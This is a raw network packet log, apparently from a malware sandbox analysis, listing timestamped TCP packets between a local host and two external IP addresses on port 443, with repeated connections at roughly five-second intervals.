Jan 19, 2023 17:55:20.095037937 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095051050 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095097065 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095134974 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095146894 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095195055 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095223904 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095226049 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095252991 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095263004 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095278978 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095294952 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095302105 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095314026 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.095344067 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.095383883 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122556925 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122628927 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122791052 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122796059 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122842073 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122868061 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122868061 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122878075 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122906923 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122920990 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.122951031 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.122971058 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.123130083 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.123183012 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.123234987 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.123250961 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.123285055 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.123308897 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.150382042 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.150489092 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.150649071 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.150702953 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.150744915 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.150803089 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.150810003 CET	443	49695	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:20.150883913 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:20.153803110 CET	49695	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.502635956 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.502684116 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.502784014 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.521754980 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.521796942 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.617907047 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.618031979 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.926073074 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.926126957 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.926739931 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.926817894 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.929631948 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.929660082 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.985678911 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.985732079 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.985757113 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.985862970 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.985908031 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.985929966 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.985953093 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:21.986041069 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:21.986093998 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.013643026 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.013696909 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.013752937 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.013783932 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.013813972 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.013838053 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014067888 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014105082 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014149904 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014167070 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014206886 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014219999 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014426947 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014463902 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014498949 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014517069 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.014532089 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.014561892 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.040988922 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.041064024 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.041089058 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.041120052 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.041141033 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.041171074 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.041182041 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.041234970 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.041971922 CET	49696	443	192.168.2.4	152.89.196.75
Jan 19, 2023 17:55:22.042006016 CET	443	49696	152.89.196.75	192.168.2.4
Jan 19, 2023 17:55:22.897207975 CET	49697	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:22.897277117 CET	443	49697	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:22.897382021 CET	49697	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:22.948690891 CET	49697	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:22.948734045 CET	443	49697	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:22.948812962 CET	443	49697	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:27.961707115 CET	49698	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:27.961759090 CET	443	49698	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:27.962544918 CET	49698	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:27.962649107 CET	49698	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:27.962658882 CET	443	49698	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:27.962902069 CET	443	49698	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:32.977708101 CET	49699	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:32.977747917 CET	443	49699	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:32.977926970 CET	49699	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:32.978106976 CET	49699	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:32.978118896 CET	443	49699	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:32.978178024 CET	443	49699	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:40.174443007 CET	49700	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:40.174499989 CET	443	49700	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:40.174714088 CET	49700	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:40.174993992 CET	49700	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:40.175009012 CET	443	49700	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:40.175056934 CET	443	49700	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:45.182071924 CET	49701	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:45.182285070 CET	443	49701	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:45.182375908 CET	49701	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:45.182579994 CET	49701	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:45.182607889 CET	443	49701	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:45.182672024 CET	443	49701	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:50.376656055 CET	49702	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:50.376733065 CET	443	49702	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:50.376858950 CET	49702	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:50.377007961 CET	49702	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:50.377032995 CET	443	49702	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:50.377226114 CET	443	49702	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:55.386440039 CET	49703	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:55.386490107 CET	443	49703	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:55.386620045 CET	49703	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:55.386941910 CET	49703	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:55:55.386964083 CET	443	49703	64.190.113.123	192.168.2.4
Jan 19, 2023 17:55:55.387039900 CET	443	49703	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:00.402158022 CET	49704	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:00.402224064 CET	443	49704	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:00.402331114 CET	49704	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:00.402451992 CET	49704	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:00.402463913 CET	443	49704	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:00.402753115 CET	443	49704	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:05.418054104 CET	49705	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:05.418119907 CET	443	49705	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:05.418232918 CET	49705	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:05.418380976 CET	49705	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:05.418401003 CET	443	49705	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:05.418467999 CET	443	49705	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:10.434967995 CET	49706	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:10.435089111 CET	443	49706	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:10.436474085 CET	49706	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:10.436474085 CET	49706	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:10.436567068 CET	443	49706	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:10.436711073 CET	443	49706	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:15.450120926 CET	49707	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:15.450175047 CET	443	49707	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:15.450309992 CET	49707	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:15.450439930 CET	49707	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:15.450453043 CET	443	49707	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:15.450608969 CET	443	49707	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:20.466907024 CET	49708	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:20.467009068 CET	443	49708	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:20.467257023 CET	49708	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:20.467411995 CET	49708	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:20.467436075 CET	443	49708	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:20.467791080 CET	443	49708	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:25.484962940 CET	49709	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:25.485021114 CET	443	49709	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:25.485105038 CET	49709	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:25.485248089 CET	49709	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:25.485258102 CET	443	49709	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:25.487670898 CET	443	49709	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:30.500158072 CET	49710	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:30.500225067 CET	443	49710	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:30.500381947 CET	49710	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:30.500452995 CET	49710	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:30.500466108 CET	443	49710	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:30.500590086 CET	443	49710	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:35.515028000 CET	49711	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:35.515100956 CET	443	49711	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:35.515206099 CET	49711	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:35.515430927 CET	49711	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:35.515453100 CET	443	49711	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:35.515523911 CET	443	49711	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:40.530534029 CET	49712	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:40.530612946 CET	443	49712	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:40.530725002 CET	49712	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:40.530869007 CET	49712	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:40.530884027 CET	443	49712	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:40.530975103 CET	443	49712	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:45.550055981 CET	49713	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:45.550124884 CET	443	49713	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:45.550230980 CET	49713	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:45.550329924 CET	49713	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:45.550348997 CET	443	49713	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:45.550496101 CET	443	49713	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:50.571531057 CET	49714	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:50.571597099 CET	443	49714	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:50.571722031 CET	49714	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:50.572088957 CET	49714	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:50.572115898 CET	443	49714	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:50.572160959 CET	443	49714	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:55.575146914 CET	49715	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:55.575201988 CET	443	49715	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:55.575373888 CET	49715	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:55.575556040 CET	49715	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:56:55.575575113 CET	443	49715	64.190.113.123	192.168.2.4
Jan 19, 2023 17:56:55.575630903 CET	443	49715	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:00.593521118 CET	49716	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:00.593617916 CET	443	49716	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:00.593764067 CET	49716	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:00.593955040 CET	49716	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:00.593972921 CET	443	49716	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:00.594031096 CET	443	49716	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:05.596666098 CET	49717	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:05.596751928 CET	443	49717	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:05.596874952 CET	49717	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:05.597038031 CET	49717	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:05.597054005 CET	443	49717	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:05.597100019 CET	443	49717	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:10.613194942 CET	49718	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:10.613246918 CET	443	49718	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:10.613348007 CET	49718	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:10.613465071 CET	49718	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:10.613481998 CET	443	49718	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:10.613667965 CET	443	49718	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:15.690169096 CET	49719	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:15.690238953 CET	443	49719	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:15.690337896 CET	49719	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:15.690485001 CET	49719	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:15.690501928 CET	443	49719	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:15.690577984 CET	443	49719	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:20.708189011 CET	49720	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:20.708252907 CET	443	49720	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:20.708348036 CET	49720	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:20.708561897 CET	49720	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:20.708574057 CET	443	49720	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:20.708853006 CET	443	49720	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:25.723510981 CET	49721	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:25.723598957 CET	443	49721	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:25.723726034 CET	49721	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:25.723855972 CET	49721	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:25.723879099 CET	443	49721	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:25.724134922 CET	443	49721	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:30.739751101 CET	49722	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:30.739828110 CET	443	49722	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:30.739958048 CET	49722	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:30.740151882 CET	49722	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:30.740173101 CET	443	49722	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:30.740226984 CET	443	49722	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:35.756009102 CET	49723	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:35.756072044 CET	443	49723	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:35.756175041 CET	49723	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:35.756339073 CET	49723	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:35.756351948 CET	443	49723	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:35.756397963 CET	443	49723	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:40.771961927 CET	49724	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:40.772038937 CET	443	49724	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:40.772207975 CET	49724	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:40.772417068 CET	49724	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:40.772439003 CET	443	49724	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:40.772519112 CET	443	49724	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:45.788798094 CET	49725	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:45.788866997 CET	443	49725	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:45.788964033 CET	49725	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:45.789103031 CET	49725	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:45.789119959 CET	443	49725	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:45.789232969 CET	443	49725	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:50.810004950 CET	49726	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:50.810084105 CET	443	49726	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:50.810314894 CET	49726	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:50.810811043 CET	49726	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:50.810832024 CET	443	49726	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:50.810915947 CET	443	49726	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:55.819722891 CET	49727	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:55.819911957 CET	443	49727	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:55.820027113 CET	49727	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:55.820215940 CET	49727	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:57:55.820267916 CET	443	49727	64.190.113.123	192.168.2.4
Jan 19, 2023 17:57:55.820446014 CET	443	49727	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:00.835750103 CET	49728	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:00.835808992 CET	443	49728	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:00.835906029 CET	49728	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:00.836052895 CET	49728	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:00.836067915 CET	443	49728	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:00.836121082 CET	443	49728	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:05.851913929 CET	49729	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:05.851986885 CET	443	49729	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:05.852073908 CET	49729	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:05.852246046 CET	49729	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:05.852281094 CET	443	49729	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:05.852385998 CET	443	49729	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:10.867970943 CET	49730	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:10.868029118 CET	443	49730	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:10.868278027 CET	49730	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:10.868411064 CET	49730	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:10.868421078 CET	443	49730	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:10.868500948 CET	443	49730	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:15.989294052 CET	49731	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:15.989355087 CET	443	49731	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:15.989439964 CET	49731	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:15.989612103 CET	49731	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:15.989628077 CET	443	49731	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:15.990044117 CET	443	49731	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:20.996599913 CET	49732	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:20.996663094 CET	443	49732	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:20.996748924 CET	49732	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:20.996876955 CET	49732	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:20.996886969 CET	443	49732	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:20.997076035 CET	443	49732	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:26.013641119 CET	49733	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:26.013706923 CET	443	49733	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:26.013875961 CET	49733	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:26.014092922 CET	49733	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:26.014110088 CET	443	49733	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:26.014169931 CET	443	49733	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:31.026415110 CET	49734	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:31.026479006 CET	443	49734	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:31.026568890 CET	49734	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:31.026793957 CET	49734	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:31.026812077 CET	443	49734	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:31.026890039 CET	443	49734	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:36.103238106 CET	49735	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:36.103293896 CET	443	49735	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:36.103395939 CET	49735	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:36.146833897 CET	49735	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:36.146996975 CET	443	49735	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:36.147367954 CET	443	49735	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:41.277731895 CET	49736	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:41.277800083 CET	443	49736	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:41.277892113 CET	49736	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:41.278107882 CET	49736	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:41.278129101 CET	443	49736	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:41.278177023 CET	443	49736	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:46.295562983 CET	49737	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:46.295630932 CET	443	49737	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:46.295721054 CET	49737	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:46.295912027 CET	49737	443	192.168.2.4	64.190.113.123
Jan 19, 2023 17:58:46.295933962 CET	443	49737	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:46.295993090 CET	443	49737	64.190.113.123	192.168.2.4
Jan 19, 2023 17:58:51.308955908 CET	49738	443	192.168.2.4	64.190.113.123
